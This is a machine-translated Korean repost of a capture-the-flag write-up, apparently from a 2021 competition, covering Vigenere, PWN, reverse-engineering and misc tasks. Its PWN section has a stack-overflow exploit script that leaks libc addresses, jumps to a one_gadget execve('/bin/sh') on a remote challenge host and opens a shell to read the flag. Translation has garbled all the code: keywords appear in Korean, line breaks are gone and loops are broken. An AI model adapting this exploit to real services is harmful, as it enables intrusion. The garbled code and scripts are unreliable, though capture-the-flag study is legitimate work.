KoreanHackerTeam
Moderator
Crypto
Vigenere
at https://www.boxentriq.com/code-breaking/vigenere-cipher 웹 사이트는 Key:asterism을 얻습니다
Falg를 얻기위한 암호 해독.

또는
Vigenere 제목에 따르면 버지니아 비밀번호임을 알 수 있습니다.

온라인 디코딩 도구로 크래킹

플래그 : 플래그 {53d613fc-6c5c-4dd6-b3ce-8bc867c6f648}
PWN
supercall
간단한 스택 오버 플로우를 사용하여 Libcsearcher를 사용하여 질문에서 누출 된 _io_2_1_STDIN_의 실제 주소를 통해 LIBC 기본 주소를 찾아서 One_Gatget을 사용하여 쉘을 얻습니다.#!/usr/bin/env python#-*-인코딩 : UTF-8-*-'' '@file : exp.py@time : 2021/11/27 13:333:07@저자 : Lexsd6' '' *local_mote=0elf='./supercall'e=elf (elf)#context.log_level='debug'context.arch=e.archip_port=[ '123.57.207.81', 16985] debug=lambda : gdb.attach (p) local_mote==1 1 1 : 인 경우 lambda : gdb.attach (p). P=프로세스 (ELF) else : P=원격 (IP_PORT [0], IP_PORT [-1])#0x00000000000000026796 : POP RDI; retstack_addr=int (p.recvuntil ( ',') [:-1], 16) stdin_addr=int (p.recv (), 16) log.info (He x (stack_addr)) log.info (hex (stdin_addr)) x=finder ( '_ io_2_1_stdin _', stdin_addr, num=9)#[-] 9: Local-46E93283FF53133:E02A73AE5B5BA375410855 (소스 :/mnt/d/filewsl/supercall/libc-2.27.so) p.sendline ( '1'*8+'2'*8+'3'*7) p.sendline ( '\ x00'*0x10+'x'*8+p64 (x.ogg (num=0)) '' '[-] 033600x4f3d5 execve ( '/bin/sh', rsp+0x40, 환경) constraints: rsp0xf==0 rcx==null '' 'p.interactive ()
그런 다음 원격 고양이 깃발에서.
[+] 당신은 상호 작용 모드로 전환하는 gadget:0x4f3d5 [*]를 선택합니다 $ lsbindevflagliblib32lib64Supercall $ cat f*flag {2f3f3632-6484-4c00-82f3-a63e0d4340d9} $
RESnake
이 질문에는 UPX 쉘이 있음을 발견했습니다. 쉐어링을 한 후, 나는 IDA와 함께 열어서 검토하고 의심되는 암호화 플래그 기능을 발견했습니다.int sub_40186f () {char v1 [256]; //[ESP+18H] [EBP-910H] char dst [2048]; //[ESP+118H] [EBP-810H] int J; //[ESP+918H] [EBP-10H] int I; //[ESP+91CH] [EBP-Ch] sub_4021ad (22, 18); scanf ( '%s', v1); (i=0; v1 ; ++ i); sub_4017d2 (v1, i);#fun2 memset (dst, 0,0x800u); sub_4015f7 (v1, dst, i); #fun1 sub_4021ad (22, 20); for (j=0; dst [j]; ++ j) {if (dst [j]!=a7g5d5baytmdlwl [j]) return puts ( '다음에 다시 오지 않습니다 ~'); } return puts (asc_405016);}
Fun2에 대해 계속 후속 조치를 취하고 다음을 찾으십시오.
int __cdecl sub_4017d2 (int a1, int a2) {int result; //eax int j; //[ESP+8H] [EBP-Ch] 서명 된 int i; //(i=1; i=10; ++ i) {for (j=0; ++ j) {result=*(unsigned __int8 *) (j +a1); if (! (_ byte) 결과) 브레이크; if (a2 % i) *(_ byte *) (j + a1) ^=(_byte) i + (_byte) j; else *(_ byte *) (j + a1) ^=(unsigned __int8) (j % i) + (_byte) j; }} 반환 결과;}
입력 문자열을 사용하는 것이며 각 문자는 위치에 따라 작동됩니다.
Fun1은 문자열의 Base64 암호화입니다.
while (v16 a3) {v3=v13; v14=v13 + 1; *(_ byte *) (a2 + v3)=str [((서명 된 int) *(unsigned __int8 *) (v16 + a1) 2)0x3f]; v11=16 * *(_ byte *) (v16 + a1)0x30; if (v16 + 1=a3) {v4=v14; v5=v14 + 1; *(_ byte *) (a2 + v4)=str [v11]; *(_ byte *) (v5 + a2)='='; v6=v5 + 1; v13=v5 + 2; *(_ byte *) (v6 + a2)='='; 부서지다; } v7=v14; v15=v14 + 1; *(_ byte *) (a2 + v7)=str [((서명 된 int) *(unsigned __int8 *) (v16 + 1 + a1) 4)0xf | v11]; v12=4 * *(_ byte *) (v16 + 1 + a1)0x3c; if (v16 + 2=a3) { *(_ byte *) (a2 + v15)=str [v12]; v8=v15 + 1; v13=v15 + 2; *(_ byte *) (v8 + a2)='='; 부서지다; } *(_ byte *) (a2 + v15)=str [((서명 된 int) *(unsigned __int8 *) (v16 + 2 + a1) 6) 3 | v12]; v9=v15 + 1; v13=v15 + 2; *(_ byte *) (a2 + v9)=str [ *(_ byte *) (v16 + 2 + a1)0x3f]; v16 +=3;}
그러나 디버깅 중에 FUN1 이전에 함수가 글로벌 변수 STR 값을 변경 한 것으로 나타났습니다.
이 기능은 다음과 같습니다.
서명 된 int sub_401536 () {char v0; //ST13_1 서명 된 int 결과; //eax 서명 된 int v2; //[ESP+14H] [EBP-14H] int J; //[ESP+18H] [EBP-10H] int I; //[ESP+1CH] [EBP-Ch] v2=strlen ( 'abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz0123456789+/'); for (i=0; v2/2 i; ++ i) {for (j=0; v2 -i -1 j; ++ j) {if (str [j] str [j +1]) {v0=str [j]; str [j]=str [j + 1]; str [j + 1]=v0; }}} 결과=1; dword_406060=1; 반환 결과;}
그래서 나는 내 소원을 충족시키기 위해 대본을 썼습니다.
base_flag=[]#x='7g5d5bay+tmdlwlu5cdkmtlcjnwknugb2aql3ccmppvf6dap72scosl b'x='abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz0123456789+/'v2=LEN ( 'ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 + /') '' ''(i=0; V2/2 I; ++ i) {(J=0; V2- I -1 J; + +J) {IF (str [j] +1)). str [J]; str [j]=str [j + 1]; str [j + 1]=v0; }} '' ''x: base_flag.append (ord (i)) in print (base_flag) 범위 (v2 //2) : 범위 (v2-i-1) : 인 경우 [j] base_flag [j] base_flag [j] j]. base_flag [j+1]=v0
실제 str : abcdefghijklmnopqrst0123456789+/uvwxyzabcdefghijklmnopqrstuvwxyz를 얻으십시오
Fun1 및 Fun2 함수의 소스를 반대로 커뮤니케이션 할 때 플래그를 얻으십시오.
import base64table='abcdefghijklmnopqrst0123456789+/uvwxyzabcdefghijklmnopqrstuvwxyz'table2='abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz0123456789+/'tmp='7g5d5bay+tmdlwlu5cdkmtlcjnwknugb2aql3cccmpvf6dap72scosl'tmp tmp:index=table.index (i) tmp2 +=table2 [index] k=base64.b64decode (tmp2 +'==') nre=''kk=[] 범위 (len (k)) : kk .append (k ) print (kk) a2=len (kk) for I in. 범위 (10)) : I=I=I+1 범위 (Len (kk)) : 인쇄 (str (a2%i)+''+str (i)) a2%i!=0: kk [j]^=(i+j) else : kk [J]^=(J%I)+J) print (kk) #print (k) print (kk) flag=''(kk) : 플래그+=chr (i) 인쇄 (플래그) 종료 플래그
플래그 {5E2200BC-F21A-5421-A90B-57DEC19FE196}
MISC
问卷调查
양식을 작성한 후 플래그가 있습니다.플래그 {우리가 세계에 보안 감을 가져 오자}
helloshark
그림



스 플라이 싱 플래그

secret_chart
그림





출처 : https://lexsd6.github.io/2021/11/27/2021%E5%B9%B4%E6%98%A5%E7%A7%8B%E6%9D%AF%E7%BD%91%E7%BB%9C%E5%A E%89%E5%85%A8%E8%81%94%E8%B5%9B%E7%A7%8B%E5%A3%A3%E8%B5%9B%E5%8B%87%E8%80%85%E5%B1%B1%E5%B3%B0/#Crypto